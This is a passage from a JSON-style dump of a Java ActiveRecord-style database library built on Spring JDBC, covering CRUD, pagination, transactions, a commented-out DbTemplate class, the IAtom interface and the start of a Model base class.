execute(sql.toString(), paras.toArray()) >= 1;\n    }\n\n    public boolean update(String tableName, Record record) {\n        String primaryKey = getPkNames(tableName);\n        return update(tableName, primaryKey, record);\n    }\n\n    /**\n     * 删除Record\n     */\n    public boolean delete(String tableName, String primaryKey, Record record) {\n        String[] pKeys = primaryKey.split(\",\");\n        dialect.trimPrimaryKeys(pKeys);\n        Object[] idValue = new Object[pKeys.length];\n        for (int i = 0; i < pKeys.length; i++) {\n            idValue[i] = getRecordValue(record, pKeys[i]);\n            if (idValue[i] == null) {\n                throw new IllegalArgumentException(\"The value of primary key \\\"\" + pKeys[i] + \"\\\" can not be null in record object\");\n            }\n        }\n        return deleteById(tableName, primaryKey, idValue);\n    }\n\n    public boolean delete(String tableName, Record record) {\n        String primaryKey = getPkNames(tableName);\n        return delete(tableName, primaryKey, record);\n    }\n\n    /**\n     * 通过主键删除（自动获取主键名）\n     */\n    public boolean deleteById(String tableName, Object idValue) {\n        String primaryKey = getPkNames(tableName);\n        return deleteById(tableName, primaryKey, idValue);\n    }\n\n    /**\n     * 通过主键删除（支持复合主键）\n     */\n    public boolean deleteById(String tableName, String primaryKey, Object... idValues) {\n        String[] pKeys = primaryKey.split(\",\");\n        if (pKeys.length != idValues.length) {\n            throw new IllegalArgumentException(\"primary key number must equals id value number\");\n        }\n        String sql = dialect.forDbDeleteById(tableName, pKeys);\n        return execute(sql, idValues) >= 1;\n    }\n\n    // ==================== Record模式 - 分页 ====================\n\n    /**\n     * JFinal风格分页查询\n     */\n    public Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect) {\n        return doPaginate(pageNumber, pageSize, null, select, sqlExceptSelect, NULL_PARA_ARRAY);\n    }\n\n    public Page<Record> paginate(int pageNumber, int pageSize, String select, String sqlExceptSelect, Object... paras) {\n        return doPaginate(pageNumber, pageSize, null, select, sqlExceptSelect, paras);\n    }\n\n    public Page<Record> paginate(int pageNumber, int pageSize, boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n        return doPaginate(pageNumber, pageSize, isGroupBySql, select, sqlExceptSelect, paras);\n    }\n\n    private Page<Record> doPaginate(int pageNumber, int pageSize, Boolean isGroupBySql, String select, String sqlExceptSelect, Object... paras) {\n        try {\n            String totalRowSql = dialect.forPaginateTotalRow(select, sqlExceptSelect, null);\n            StringBuilder findSql = new StringBuilder();\n            findSql.append(select).append(' ').append(sqlExceptSelect);\n            return doPaginateByFullSql(pageNumber, pageSize, isGroupBySql, totalRowSql, findSql, paras);\n        } catch (Exception e) {\n            throw new DbException(e);\n        }\n    }\n\n    /**\n     * 完整SQL分页查询\n     */\n    public Page<Record> paginateByFullSql(int pageNumber, int pageSize, String totalRowSql, String findSql, Object... paras) {\n        return doPaginateByFullSql(pageNumber, pageSize, null, totalRowSql, new StringBuilder(findSql), paras);\n    }\n\n    public Page<Record> paginateByFullSql(int pageNumber, int pageSize, boolean isGroupBySql, String totalRowSql, String findSql, Object... paras) {\n        return doPaginateByFullSql(pageNumber, pageSize, isGroupBySql, totalRowSql, new StringBuilder(findSql), paras);\n    }\n\n    private Page<Record> doPaginateByFullSql(int pageNumber, int pageSize, Boolean isGroupBySql, String totalRowSql, StringBuilder findSql, Object... paras) {\n        if (pageNumber < 1 || pageSize < 1) {\n            throw new DbException(\"pageNumber and pageSize must more than 0\");\n        }\n\n        // 查询总数\n        List<Map<String, Object>> result = queryList(totalRowSql, paras);\n        int size = (result != null) ? result.size() : 0;\n        if (isGroupBySql == null) {\n            isGroupBySql = size > 1;\n        }\n\n        long totalRow;\n        if (isGroupBySql) {\n            totalRow = size;\n        } else {\n            if (size > 0) {\n                Object firstVal = result.get(0).values().iterator().next();\n                totalRow = (firstVal instanceof Number) ? ((Number) firstVal).longValue() : 0;\n            } else {\n                totalRow = 0;\n            }\n        }\n\n        if (totalRow == 0) {\n            return new Page<>(new ArrayList<>(0), pageNumber, pageSize, 0, 0);\n        }\n\n        int totalPage = (int) (totalRow / pageSize);\n        if (totalRow % pageSize != 0) {\n            totalPage++;\n        }\n\n        if (pageNumber > totalPage) {\n            return new Page<>(new ArrayList<>(0), pageNumber, pageSize, totalPage, (int) totalRow);\n        }\n\n        // 查询分页数据\n        String sql = dialect.forPaginate(pageNumber, pageSize, findSql);\n        List<Record> list = find(sql, paras);\n        return new Page<>(list, pageNumber, pageSize, totalPage, (int) totalRow);\n    }\n\n    // ==================== Bean模式 - CRUD ====================\n\n    /**\n     * 保存实体Bean（支持JPA @Table/@Column 和 MyBatis-Plus @TableName/@TableField注解）\n     */\n    public boolean saveBean(Object bean) {\n        Record record = RecordUtil.beanToRecord(bean);\n        String tableName = RecordUtil.getTableName(bean);\n        return save(tableName, record);\n    }\n\n    /**\n     * 更新实体Bean\n     */\n    public boolean updateBean(Object bean) {\n        Record record = RecordUtil.beanToRecord(bean);\n        String tableName = RecordUtil.getTableName(bean);\n        return update(tableName, record);\n    }\n\n    /**\n     * 删除实体Bean\n     */\n    public boolean deleteBean(Object bean) {\n        Record record = RecordUtil.beanToRecord(bean);\n        String tableName = RecordUtil.getTableName(bean);\n        return delete(tableName, record);\n    }\n\n    /**\n     * 通过SQL查询Bean列表\n     */\n    public <T> List<T> findBeanList(Class<T> clazz, String sql) {\n        return findBeanList(clazz, sql, (Object[]) null);\n    }\n\n    public <T> List<T> findBeanList(Class<T> clazz, String sql, Object... params) {\n        List<Map<String, Object>> datas = queryList(sql, params);\n        return RecordUtil.mapToBeans(datas, clazz);\n    }\n\n    /**\n     * 通过主键查询Bean\n     */\n    public <T> T findBeanById(Class<T> clazz, Object idValue) {\n        String tableName = RecordUtil.getTableName(clazz);\n        String primaryKeyStr = getPkNames(tableName);\n        Record record = findByIds(tableName, primaryKeyStr, idValue);\n        if (record == null) {\n            return null;\n        }\n        return RecordUtil.recordToBean(record, clazz);\n    }\n\n    public <T> T findBeanById(Class<T> beanClass, String primaryKeys, Object... idValue) {\n        String tableName = RecordUtil.getTableName(beanClass);\n        String primaryKeyStr = primaryKeys;\n        if (primaryKeys == null || StrUtil.isEmpty(primaryKeyStr)) {\n            primaryKeyStr = getPkNames(tableName);\n        }\n        Record record = findByIds(tableName, primaryKeyStr, idValue);\n        if (record == null) {\n            return null;\n        }\n        return RecordUtil.recordToBean(record, beanClass);\n    }\n\n    /**\n     * Bean分页查询\n     */\n    public <T> Page<T> findBeanPages(Class<T> beanClass, int page, int rows) {\n        return findBeanPages(beanClass, page, rows, null);\n    }\n\n    @SuppressWarnings(\"unchecked\")\n    public <T> Page<T> findBeanPages(Class<T> beanClass, int page, int rows, String sql) {\n        String tableName = RecordUtil.getTableName(beanClass);\n        if (StrUtil.isEmpty(sql)) {\n            sql = \"select * from \" + tableName;\n        }\n        String countSql = \"select count(*) from (\" + sql + \") _t\";\n        int totalRow = count(countSql);\n\n        Page<T> pageVo = new Page<>();\n        pageVo.setTotalRow(totalRow);\n        pageVo.setPageSize(rows);\n        pageVo.setPageNumber(page);\n        pageVo.setTotalPage(totalRow % rows == 0 ? totalRow / rows : totalRow / rows + 1);\n\n        String pageSql = dialect.forPaginate(page, rows, new StringBuilder(sql));\n        List<Map<String, Object>> listData = queryList(pageSql);\n        pageVo.setList(RecordUtil.mapToBeans(listData, beanClass));\n        return pageVo;\n    }\n\n    /**\n     * Map分页查询\n     */\n    @SuppressWarnings(\"unchecked\")\n    public Page<Map<String, Object>> queryMapPages(String sql, int page, int limit, Object[] params) {\n        String countSql = \"select count(*) from (\" + sql + \") _t\";\n        int totalRow = count(countSql, params);\n\n        Page<Map<String, Object>> pageVo = new Page<>();\n        pageVo.setTotalRow(totalRow);\n        pageVo.setPageNumber(page);\n        pageVo.setPageSize(limit);\n        pageVo.setTotalPage(totalRow % limit == 0 ? totalRow / limit : totalRow / limit + 1);\n\n        String pageSql = dialect.forPaginate(page, limit, new StringBuilder(sql));\n        pageVo.setList(queryList(pageSql, params));\n        return pageVo;\n    }\n\n    // ==================== 事务支持 ====================\n\n    /**\n     * 批量SQL事务执行\n     */\n    public int doInTransaction(final BatchSql batchSql) {\n        if (batchSql == null) {\n            return 0;\n        }\n        try {\n            transactionTemplate.execute(new TransactionCallbackWithoutResult() {\n                public void doInTransactionWithoutResult(TransactionStatus status) {\n                    List<Map<String, Object>> sqlList = batchSql.getSqlList();\n                    for (Map<String, Object> sqlMap : sqlList) {\n                        String sql = (String) sqlMap.get(\"sql\");\n                        Object[] objects = (Object[]) sqlMap.get(\"objects\");\n                        jdbcTemplate.update(sql, objects);\n                    }\n                }\n            });\n            return 1;\n        } catch (Exception e) {\n            StaticLog.error(e.getMessage());\n            throw new DbException(e.getMessage());\n        }\n    }\n\n    /**\n     * IAtom事务执行（JFinal风格）\n     */\n    public boolean tx(IAtom atom) {\n        Object res = transactionTemplate.execute(new TransactionCallback<Object>() {\n            @Override\n            public Object doInTransaction(TransactionStatus status) {\n                try {\n                    boolean result = atom.run();\n                    if (!result) {\n                        status.setRollbackOnly();\n                    }\n                    return result;\n                } catch (SQLException e) {\n                    status.setRollbackOnly();\n                    throw new RuntimeException(e);\n                }\n            }\n        });\n        return Boolean.TRUE.equals(res);\n    }\n\n    // ==================== 代码生成 ====================\n\n    /**\n     * SQL模式代码生成 - 生成基于Db.execute/queryList/insert的Service和Controller\n     */\n    public Map<String, String> generatorCodeSQL(String tableName, String packageName) {\n        return CodeGenerator.generatorCodeSQL(this.dataSource, tableName, packageName);\n    }\n\n    /**\n     * Record模式代码生成 - 生成基于Db.save/find/update/delete的Service和Controller\n     */\n    public Map<String, String> generatorCodeRecord(String tableName, String packageName) {\n        return CodeGenerator.generatorCodeRecord(this.dataSource, tableName, packageName);\n    }\n\n    /**\n     * Bean JPA模式代码生成 - 生成JPA注解Entity + Bean模式Service和Controller\n     */\n    public Map<String, String> generatorCodeSQLBeanJPA(String tableName, String packageName) {\n        return CodeGenerator.generatorCodeSQLBeanJPA(this.dataSource, tableName, packageName);\n    }\n\n    /**\n     * Bean MyBatis-Plus模式代码生成 - 生成MyBatis-Plus注解Entity + Bean模式Service和Controller\n     */\n    public Map<String, String> generatorCodeSQLBeanMybatis(String tableName, String packageName) {\n        return CodeGenerator.generatorCodeSQLBeanMybatis(this.dataSource, tableName, packageName);\n    }\n\n    /**\n     * Model模式代码生成 - 生成Model子类 + Model模式Service和Controller\n     */\n    public Map<String, String> generatorCodeModel(String tableName, String packageName) {\n        return CodeGenerator.generatorCodeModel(this.dataSource, tableName, packageName);\n    }\n\n    // ==================== 内部工具方法 ====================\n\n    /**\n     * 从Record中获取值，支持大小写不敏感匹配\n     * 解决数据库返回大写列名(如H2)与用户指定小写主键名不匹配的问题\n     */\n    private Object getRecordValue(Record record, String key) {\n        Object val = record.get(key);\n        if (val != null) {\n            return val;\n        }\n        // 尝试大小写不敏感匹配\n        Map<String, Object> columns = record.getColumns();\n        for (Map.Entry<String, Object> entry : columns.entrySet()) {\n            if (entry.getKey().equalsIgnoreCase(key)) {\n                return entry.getValue();\n            }\n        }\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/DbTemplate.java",
    "content": "//package io.github.wujun728.db.record;\n//\n//import cn.hutool.core.collection.CollectionUtil;\n//import cn.hutool.core.map.MapUtil;\n//import cn.hutool.core.util.StrUtil;\n//import cn.hutool.db.meta.MetaUtil;\n//import cn.hutool.db.meta.Table;\n//import cn.hutool.log.StaticLog;\n//import io.github.wujun728.db.record.dialect.*;\n//import io.github.wujun728.db.record.mapper.BaseRowMapper;\n//import io.github.wujun728.db.record.mapper.BatchSql;\n//import io.github.wujun728.db.utils.RecordUtil;\n//import io.github.wujun728.db.utils.SqlContext;\n//import io.github.wujun728.db.utils.SqlUtils;\n//import org.springframework.dao.DataAccessException;\n//import org.springframework.dao.DuplicateKeyException;\n//import org.springframework.dao.EmptyResultDataAccessException;\n//import org.springframework.jdbc.core.BatchPreparedStatementSetter;\n//import org.springframework.jdbc.core.JdbcTemplate;\n//import org.springframework.jdbc.core.PreparedStatementCreator;\n//import org.springframework.jdbc.core.RowMapper;\n//import org.springframework.jdbc.datasource.DataSourceTransactionManager;\n//import org.springframework.jdbc.support.GeneratedKeyHolder;\n//import org.springframework.jdbc.support.KeyHolder;\n//import org.springframework.transaction.TransactionStatus;\n//import org.springframework.transaction.support.TransactionCallbackWithoutResult;\n//import org.springframework.transaction.support.TransactionTemplate;\n//\n//import javax.sql.DataSource;\n//import java.sql.*;\n//import java.util.Date;\n//import java.util.*;\n//import java.util.concurrent.ConcurrentHashMap;\n//import java.util.regex.Matcher;\n//import java.util.regex.Pattern;\n//\n//import static io.github.wujun728.db.record.Db.main;\n//\n///**\n// * Db 操作类，支持SQL模式、Record模式，Bean模式（JPA Bean模式、Mybatis Entity模式）\n// */\n//public class DbTemplate {\n//\n//    private String configName;\n//    private DataSource dataSource = null;\n//\n//    private JdbcTemplate jdbcTemplate;\n//    private TransactionTemplate transactionTemplate;\n//    public final static int DEFAULT_FETCHSIZE = 32; //默认的fetchsize\n////    private Dialect dialect;\n//\n//    public volatile static ConcurrentHashMap<String, DbTemplate> cache = new ConcurrentHashMap<>(32, 0.25F);\n//    public volatile static ConcurrentHashMap<String, DataSource> dataSourceMap = new ConcurrentHashMap<>(32);\n//    public volatile static ConcurrentHashMap<String, JdbcTemplate> dbTemplateMap = new ConcurrentHashMap<>(32);\n//\n//    static final Object[] NULL_PARA_ARRAY = new Object[0];\n//    private static final Map<String, String> TABLE_PK_MAP = new HashMap<>();\n//\n//    public DbTemplate() {\n//    }\n//\n//    static DbTemplate init(String configName, DataSource dataSource) {\n//        DbTemplate dbTemplate = DbTemplate.cache.get(configName);\n//        if (dbTemplate == null) {\n//            dbTemplate = new DbTemplate();\n//            JdbcTemplate jdbcTemplate = new JdbcTemplate(dataSource);\n//            TransactionTemplate transactionTemplate = new TransactionTemplate();\n//            DataSourceTransactionManager transactionManager = new DataSourceTransactionManager();\n//            transactionManager.setDataSource(dataSource);\n//            transactionTemplate.setTransactionManager(transactionManager);\n//            dbTemplate.setConfigName(configName);\n//            dbTemplate.setJdbcTemplate(jdbcTemplate);\n//            dbTemplate.setTransactionTemplate(transactionTemplate);\n//            dbTemplate.setDataSource(dataSource);\n////            dbTemplate.setDialect(DbTemplate.getDialect(dbTemplate.getDataSource()));\n//            dataSourceMap.put(configName,dataSource);\n//            DbTemplate.registerRecord(dbTemplate.getDataSource());\n//            /*if(\"main\".equalsIgnoreCase(configName)){\n//                Register.initReadWrite(dataSource,dataSource);\n//                Register.initThreadPool(100, 100, 1000); //初始化线程池 0为使用默认值\n//            }*/\n//            DbTemplate.cache.put(configName, dbTemplate);\n//        }\n//        return dbTemplate;\n//    }\n//\n//    private static void registerRecord(DataSource dataSource) {\n//        List<String> tables = MetaUtil.getTables(dataSource);\n//        tables.forEach(tableName -> {\n//            Table table = MetaUtil.getTableMeta(dataSource, tableName);\n//            String pkStr = String.join(\",\", table.getPkNames());\n//            TABLE_PK_MAP.put(tableName, pkStr);// map不清，只做替换\n//        });\n//    }\n//\n//    public DataSource getDataSource() {\n//        return this.dataSource;\n//    }\n//\n//    private void setDataSource(DataSource dataSource) {\n//        this.dataSource = dataSource;\n//    }\n////    private Dialect getDialect() {\n////        return dialect;\n////    }\n////\n////    private void setDialect(Dialect dialect) {\n////        this.dialect = dialect;\n////    }\n//\n//    public JdbcTemplate getJdbcTemplate() {\n//        return jdbcTemplate;\n//    }\n//\n//    private void setJdbcTemplate(JdbcTemplate jdbcTemplate) {\n//        this.jdbcTemplate = jdbcTemplate;\n//    }\n//\n//    private String getConfigName() {\n//        return configName;\n//    }\n//\n//    private void setConfigName(String configName) {\n//        this.configName = configName;\n//    }\n//\n//    private TransactionTemplate getTransactionTemplate() {\n//        return transactionTemplate;\n//    }\n//\n//    private void setTransactionTemplate(TransactionTemplate transactionTemplate) {\n//        this.transactionTemplate = transactionTemplate;\n//    }\n//\n//    private static Dialect getDialect(DataSource dataSource) {\n//        Connection connection  = null;\n//        try {\n//            connection = dataSource.getConnection();\n//        } catch (SQLException e) {\n//            throw new RuntimeException(e);\n//        }\n//        try {\n//            String dbName = connection.getMetaData().getDatabaseProductName();\n//            if (dbName.equalsIgnoreCase(\"Oracle\")) {\n//                return new OracleDialect();\n//            } else if (dbName.equalsIgnoreCase(\"mysql\")) {\n//                return new MysqlDialect();\n//            } else if (dbName.equalsIgnoreCase(\"sqlite\")) {\n//                return new Sqlite3Dialect();\n//            } else if (dbName.equalsIgnoreCase(\"postgresql\")) {\n//                return new PostgreSqlDialect();\n//            } else {\n//                return new AnsiSqlDialect();\n//            }\n//        } catch (SQLException e) {\n//            throw new RuntimeException(\"获取数据库连接失败\");\n//        }finally {\n//            try {\n//                connection.close();\n//            } catch (SQLException e) {\n//                throw new RuntimeException(e);\n//            }\n//        }\n//    }\n//\n//    public static String getPkNames(String tableName) {\n//        if(CollectionUtil.isEmpty(DbTemplate.TABLE_PK_MAP)){\n//            DbTemplate.registerRecord(DbTemplate.dataSourceMap.get(main));\n//        }\n//        String primaryKey = DbTemplate.TABLE_PK_MAP.get(tableName);\n//        if(StrUtil.isEmpty(primaryKey)){\n//            primaryKey = \"id\";\n//            //throw new RuntimeException(\"当前操作的表没有主键或表不存在，tableName=\"+tableName);\n//        }\n//        return primaryKey;\n//    }\n//\n//\n//\n//    /********************************************************************************\n//     * 私有方法   66666666666666666666   begin\n//     ********************************************************************************/\n//\n//    private int updateSqlContext(SqlContext sqlContext) {\n//        int result;\n//        String sql = null;\n//        try {\n//            sql = sqlContext.getSql();\n//            result = execute(sql, sqlContext.getParams());\n//        } catch (Exception e) {\n//            throw new DbException(e, sql);\n//        }\n//        return result;\n//    }\n//    private long insertSqlContext(SqlContext sqlContext) {\n//        long result;\n//        String sql = null;\n//        try {\n//            sql = sqlContext.getSql();\n//            result = insert(sql, sqlContext.getParams());\n//        } catch (Exception e) {\n//            throw new DbException(e, sql);\n//        }\n//        return result;\n//    }\n//\n//    public long saveBean(Object bean) {\n//        return insertSqlContext(SqlUtils.getInsert(bean));\n//    }\n//\n//    public Integer updateBean(Object bean) {\n//        return updateSqlContext(SqlUtils.getUpdate(bean));\n//    }\n//\n//    public Integer deleteBean(Object bean) {\n//        return updateSqlContext(SqlUtils.getDelete(bean));\n//    }\n//\n//\n//    public List<Map<String, Object>> queryList(String sql) {\n//        return queryList(sql,null);\n//    }\n//    public List<Map<String, Object>> queryList(String sql, Object[] params) {\n//        return getJdbcTemplate().queryForList(sql,params);\n//    }\n//\n//\n//\n//    /************************************************************************************************************************\n//     * 私有方法  66666666666666666666  end\n//     ************************************************************************************************************************/\n//\n//\n//    // Save ***********************************************************************************************************\n//    // Save ***********************************************************************************************************\n//\n//\n//\n//\n//\n//\n//\n//\n//    // Query ***********************************************************************************************************\n//    // Query ***********************************************************************************************************\n//\n//\n//\n//    public <T> List<T> findBeanList(Class<T> clazz, String sql) {\n//        return findBeanList(clazz, sql,null);\n//    }\n//\n//\n//    public <T> List<T> findBeanList(Class clazz, String sql, Object... params) {\n//        List datas = queryList(sql, params);\n//        return RecordUtil.mapToBeans(datas, clazz);\n//    }\n//\n//\n//\n//    public <T> Page findBeanPages(Class beanClass, int page, int rows) {\n//        return findBeanPages(beanClass, page, rows, null);\n//    }\n//\n//\n//    public <T> Page findBeanPages(Class beanClass, int page, int rows, String sql) {\n//        //SqlContext sqlContext = SqlUtil.getSelect(beanClass, page, rows, params);\n//        Page pageVo = new Page();\n//        if(StrUtil.isEmpty(sql)){\n//            sql = SqlUtils.getSelectSQl(beanClass);\n//        }\n//        String sql1 = SqlUtils.getSelect(sql, page, rows);\n//        SqlContext sqlContext = SqlUtils.getSelect(new StringBuilder(sql1), new HashMap());\n//        List<Map<String, Object>> listData = queryList(sqlContext.getSql(), sqlContext.getParams());\n//        pageVo.setList(RecordUtil.mapToBeans(listData, beanClass));\n//        int totalRow = count(SqlUtils.getCount(sql));\n//        pageVo.setTotalRow(totalRow);\n//        pageVo.setPageSize(rows);\n//        pageVo.setPageNumber(page);\n//        if (totalRow % rows == 0) {\n//            pageVo.setTotalPage(totalRow / rows);\n//        } else {\n//            pageVo.setTotalPage(totalRow / rows + 1);\n//        }\n//        return pageVo;\n//    }\n//\n//\n//    public Page queryBeanPage(Class beanClass, int page, int rows) {\n//        return queryBeanPage(beanClass, page, rows, null);\n//    }\n//\n//\n//    public Page queryBeanPage(Class beanClass, int page, int limit, String sql) {\n//        //SqlContext sqlContext = SqlUtil.getSelect(beanClass, page, rows, params);\n//        Page pageVo = new Page();\n//        if(StrUtil.isEmpty(sql)){\n//            sql = SqlUtils.getSelectSQl(beanClass);\n//        }\n//        SqlContext sqlContext = SqlUtils.getSelect(new StringBuilder(SqlUtils.getSelect(sql, page, limit)), new HashMap());\n//        List<Map<String, Object>> listData = queryList(sqlContext.getSql(), sqlContext.getParams());\n//        pageVo.setList(RecordUtil.mapToBeans(listData, beanClass));\n//        int totalRow = count(SqlUtils.getCount(sql));\n//        pageVo.setTotalRow(totalRow);\n//        pageVo.setPageNumber(page);\n//        pageVo.setPageSize(limit);\n//        if (totalRow % limit == 0) {\n//            pageVo.setTotalPage(totalRow / limit);\n//        } else {\n//            pageVo.setTotalPage(totalRow / limit + 1);\n//        }\n//        return pageVo;\n//    }\n//\n//\n//    public Page<Map> queryMapPages(String sql, int page, int limit, Object[] params) {\n//        Page pageVo = new Page();\n//        pageVo.setList(queryList(SqlUtils.getSelect(sql, page, limit), params));\n//        int totalRow = count(SqlUtils.getCount(sql), params);\n//        pageVo.setTotalRow(totalRow);\n//        pageVo.setPageNumber(page);\n//        pageVo.setPageSize(limit);\n//        if (totalRow % limit == 0) {\n//            pageVo.setTotalPage(totalRow / limit);\n//        } else {\n//            pageVo.setTotalPage(totalRow / limit + 1);\n//        }\n//        return pageVo;\n//    }\n//\n//\n//    public int count(String sql, Object... params) {\n//        try {\n//            return queryForInt(sql, params);\n//            //return queryInt(sql,params);\n//        } catch (Exception e) {\n//            throw new DbException(e, sql);\n//        }\n//    }\n//\n//\n//\n//\n//}\n//\n//\n//\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/IAtom.java",
    "content": "/**\n * Copyright (c) 2011-2023, James Zhan 詹波 (jfinal@126.com).\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage io.github.wujun728.db.record;\n\nimport java.sql.SQLException;\n\n/**\n * IAtom support transaction of database.\n * It can be invoked in Db.tx(IAtom atom) method.\n * <br>\n * Example:<br>\n * Db.tx(new IAtom(){<br>\n * \t\tpublic boolean run() throws SQLException {<br>\n * \t\t\tint result1 = Db.update(\"update account set cash = cash - ? where id = ?\", 100, 123);<br>\n * \t\t\tint result2 = Db.update(\"update account set cash = cash + ? where id = ?\", 100, 456);<br>\n * \t\t\treturn result1 == 1 && result2 == 1;<br>\n * \t\t}});\n */\n@FunctionalInterface\npublic interface IAtom {\n\t\n\t/**\n\t * Place codes here that need transaction support.\n\t * @return true if you want to commit the transaction otherwise roll back transaction\n\t */\n\tboolean run() throws SQLException;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-db-activerecord/src/main/java/io/github/wujun728/db/record/Model.java",
    "content": "package io.github.wujun728.db.record;\n\nimport cn.hutool.core.annotation.AnnotationUtil;\nimport cn.hutool.core.util.StrUtil;\nimport com.baomidou.mybatisplus.annotation.TableName;\nimport io.github.wujun728.db.utils.RecordUtil;\n\nimport javax.persistence.Id;\nimport javax.persistence.Table;\nimport java.io.Serializable;\nimport java.lang.reflect.Field;\nimport java.math.BigDecimal;\nimport java.math.BigInteger;\nimport java.sql.Time;\nimport java.sql.Timestamp;\nimport java.util.*;\n\n/**\n * Model - ActiveRecord 模式基类\n * <p>\n * 使用方式：\n * <pre>\n * // 1. 定义 Model 子类\n * &#064;Table(name = \"sys_user\")\n * public class User extends Model&lt;User&gt; {\n *     public static final User dao = new User().dao();\n * }\n *\n * // 2. 查询\n * User user = User.dao.findById(1);\n * List&lt;User&gt; users = User.dao.find(\"SELECT * FROM sys_user WHERE age > ?\", 18);\n * User first = User.dao.findFirst(\"SELECT * FROM sys_user WHERE name = ?\", \"张三\");\n *\n * // 3. 链式保存\n * new User().set(\"name\", \"张三\").set(\"age\", 20).save();\n *\n * // 4. 更新\n * user.set(\"name\", \"李四\").update();\n *\n * // 5. 删除\n * user.delete();\n * User.dao.deleteById(1);\n *\n * // 6. 分页\n * Page&lt;User&gt; page = User.dao.paginate(1, 10, \"SELECT *\", \"FROM sys_user WHERE age > ?\", 18);\n *\n * // 7. 多数据源\n * User user = User.dao.use(\"slave\").findById(1);\n * </pre>\n *\n * @param <M> Model 子类型，用于链式调用返回正确类型\n */\n@SuppressWarnings(\"unchecked\")\npublic abstract class Model<M extends Model<M>> implements Serializable {\n\n    private static final long serialVersionUID = 1L;\n\n    /**\n     * 属性数据，key 为数据库列名\n     */\n    private Map<String, Object> attrs = new LinkedHashMap<>();\n\n    /**\n     * 数据源配置名，null 表示使用主数据源\n     */\n    private transient String configName;\n\n    /**\n     * 缓存: 实际 Model 子类 Class（避免每次调用 _getUsefulClass() 做字符串匹配）\n     */\n    private transient volatile Class<? extends M> usefulClassCache;\n\n    /**\n     * 缓存: 表名（避免每次 CRUD 操作重复解析注解）\n     */\n    private transient volatile String tableNameCache;\n\n    /**\n     * 缓存: 主键名（避免每次 CRUD 操作重复反射）\n     */\n    private transient volatile String primaryKeyCache;\n\n    // ==================== 配置方法 ====================\n\n    /**\n     * 创建 dao 对象，用于静态查询入口\n     * <pre>\n     * public static final User dao = new User().dao();\n     * </pre>\n     */\n    public M dao() {\n        return (M) this;\n    }\n\n    /**\n     * 指定数据源，返回新实例以保证线程安全\n     * <pre>\n     * User.dao.use(\"slave\").findById(1);\n     * </pre>\n     */\n    public M use(String configName) {\n        try {\n            M model = (M) _getUsefulClass().newInstance();\n            ((Model<?>) model).configName = configName;\n            return model;\n        } catch (Exception e) {\n            throw new RuntimeException(\"创建Model实例失败\", e);\n        }\n    }\n\n    /**\n     * 获取 DbPro 实例\n     */\n    protected DbPro _getDbPro() {\n        if (StrUtil.isNotEmpty(configName)) {\n            return Db.use(configName);\n        }\n        return Db.use();\n    }\n\n    /**\n     * 获取实际 Model 子类的 Class（跳过 CGLIB 等代理类，结果缓存）\n     */\n    @SuppressWarnings(\"rawtypes\")\n    protected Class<? extends M> _getUsefulClass() {\n        if (usefulClassCache != null) {\n            return usefulClassCache;\n        }\n        Class c = getClass();\n        Class<? extends M> result = (c.getName().indexOf(\"$$EnhancerBy\") == -1\n                && c.getName().indexOf(\"$$FastClassBy\") == -1\n                && c.getName().indexOf(\"_$$_\") == -1) ? c : c.getSuperclass();\n        usefulClassCache = result;\n        return result;\n    }\n\n    // ==================== 表名与主键 ====================\n\n    /**\n     * 获取表名，优先级：@Table(JPA) > @TableName(MyBatis-Plus) > 类名转下划线（结果缓存）\n     */\n    protected String _getTableName() {\n        if (tableNameCache != null) {\n            return tableNameCache;\n        }\n        Class<?> clazz = _getUsefulClass();\n        String result = null;\n        if (AnnotationUtil.hasAnnotation(clazz, Table.class)) {\n            result = AnnotationUtil.getAnnotationValue(clazz, Table.class, \"name\");\n        }\n        if (StrUtil.isEmpty(result) && AnnotationUtil.hasAnnotation(clazz, TableName.class)) {\n            result = AnnotationUtil.getAnnotationValue(clazz, TableName.class, \"value\");\n        }\n        if (StrUtil.isEmpty(result)) {\n            result = RecordUtil.toUnderlineCase(clazz.getSimpleName());\n        }\n        tableNameCache = result;\n        return result;\n    }\n\n    /**\n     * 获取主键名，优先级：@Id 注解字段 > TABLE_PK_MAP > 默认 \"id\"（结果缓存）\n     */\n    protected String _getPrimaryKey() {\n        if (primaryKeyCache != null) {\n            return primaryKeyCache;\n        }\n        Class<?> clazz = _getUsefulClass();\n        List<String> pkNames = new ArrayList<>();\n        for (RecordUtil.FieldMeta meta : RecordUtil.getFieldMetas(clazz)) {\n            if (meta.field.isAnnotationPresent(Id.class) && meta.columnName != null) {\n                pkNames.add(meta.columnName);\n            }\n        }\n        String result;\n        if (!pkNames.isEmpty()) {\n            result = String.join(\",\", pkNames);\n        } else {\n            result = DbPro.getPkNames(_getTableName());\n        }\n        primaryKeyCache = result;\n        return result;\n    }\n\n    // ==================== 属性操作（链式） ====================\n\n    /**\n     * 设置属性值，支持链式调用\n     * <pre>\n     * new User().set(\"name\", \"张三\").set(\"age\", 20).save();\n     * </pre>\n     */\n    public M set(String attr, Object value) {\n        attrs.put(attr, value);\n        return (M) this;\n    }\n\n    /**\n     * 批量设置属性\n     */\n    public M put(Map<String, Object> map) {\n        attrs.putAll(map);\n        return (M) this;\n    }\n\n    /**\n     * 获取属性值\n     */\n    public <T> T get(String attr) {\n        return (T) attrs.get(attr);\n    }\n\n    /**\n     * 获取属性值，带默认值\n     */\n    public <T> T get(String attr, Object defaultValue) {\n        Object result = attrs.get(attr);\n        return result != null ? (T) result : (T) defaultValue;\n    }\n\n    public String getStr(String attr) {\n        Object val = attrs.get(attr);\n        return val != null ? val.toString() : null;\n    }\n\n    public Integer getInt(String attr) {\n        Number val = (Number) attrs.get(attr);\n        return val != null ? val.intValue() : null;\n    }\n\n    public Long getLong(String attr) {\n        Number val = (Number) attrs.get(attr);\n        return val != null ? val.longValue() : null;\n    }\n\n    public BigInteger 